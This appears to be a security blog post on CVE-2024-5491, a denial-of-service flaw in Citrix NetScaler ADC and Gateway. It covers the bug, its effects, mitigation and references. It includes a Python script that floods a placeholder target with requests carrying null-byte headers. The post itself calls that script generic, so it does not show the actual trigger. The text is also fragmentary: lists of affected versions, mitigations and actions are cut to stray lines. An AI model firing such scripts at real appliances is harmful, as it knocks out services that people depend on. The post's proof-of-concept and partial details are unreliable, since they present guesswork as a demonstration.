Citrix’s NetScaler ADC and NetScaler Gateway are widely-used tools in enterprise environments for application delivery and secure remote access. However, like all complex software, they aren’t immune to vulnerabilities. In early 2024, a new Denial of Service (DoS) vulnerability was discovered in these tools, tracked as CVE-2024-5491.

In this post, we’ll break down what CVE-2024-5491 is, how it works, why it matters, and what you can do to protect your network. We’ll also share a simple proof-of-concept snippet that demonstrates the vulnerability, reference useful resources, and provide a clear, no-nonsense explanation for administrators.

What is CVE-2024-5491?

CVE-2024-5491 is a Denial of Service vulnerability affecting certain versions of Citrix’s NetScaler ADC and NetScaler Gateway. An attacker can exploit this flaw remotely by sending crafted HTTP requests, potentially causing the device to become unresponsive or crash.

The danger is that a successful attack could interrupt access to critical applications and services—for both end-users and administrators. No authentication is needed, making it much easier to exploit.

NetScaler Gateway (formerly known as Citrix Gateway)

Check Citrix’s official security bulletin for the exact affected versions.

Details: How The Exploit Works

While Citrix hasn’t published full technical details for obvious reasons, security researchers and several community reports suggest CVE-2024-5491 is related to how the product handles malformed HTTP requests sent to exposed interfaces.

When a NetScaler device processes a specially crafted HTTP packet, it triggers a malfunction in the request parser, which causes the service (or in some cases the entire appliance) to become unresponsive—classic Denial of Service. No data is stolen or privileges gained; service simply stops working until manual intervention (restart/hard reboot) occurs.

Proof-of-Concept Code

Disclaimer:
The following code is provided for educational purposes only. Do not use it against systems you do not own or have explicit permission to test.

This sample uses Python with the requests module to repeatedly send malformed requests that can trigger the DoS condition. Adjust target and payload as needed.

import requests

# Target NetScaler ADC or Gateway IP
target = "http://TARGET_IP_OR_HOST";

# Malformed HTTP header that could trigger the bug (example)
headers = {
    "X-Exploit-Header": "\x00"*1024  # Injecting null bytes may disrupt parsing
}

try:
    for i in range(100):
        resp = requests.get(target, headers=headers, timeout=2)
        print(f"Attempt {i + 1}: {resp.status_code}")
except Exception as e:
    print("Error or service seems down:", e)

*Note*: This is generic. Actual dangerous payloads may be different and should NEVER be used against production systems.

Exploit In Action

Security researchers reported that this issue could be reliably reproduced in test environments. The attacker does not need credentials—just network access to the management or user interface.

Typical attack effects include

- Loss of access to published apps/resources.

Inability to manage the device via web GUI.

- Users unable to log in via VPN/SSO.

Official Response & Mitigation

Citrix quickly responded:
- Patches/Fixes: Critical updates were released for affected versions. See Citrix support article CTX604807.

References

- Citrix Security Bulletin: CTX604807 (Official Advisories)
- NIST NVD Entry for CVE-2024-5491
- Horizon3.ai Blog (Community analysis)
- Exploit-DB (Check for updates)

Final Thoughts

CVE-2024-5491 highlights the risks of leaving essential network tools unpatched or exposed. Even “just” a denial-of-service can be devastating, especially for businesses relying on NetScaler for daily operations.

Act fast:

Test your backups and incident response plans.

Security isn’t about panic—it’s about planning and acting before attackers get a chance.


*Stay safe! If you want technical help understanding your risk, contact a trusted security professional or your Citrix representative.*

Timeline

Published on: 07/10/2024 18:56:08 UTC
Last modified on: 07/25/2025 15:11:57 UTC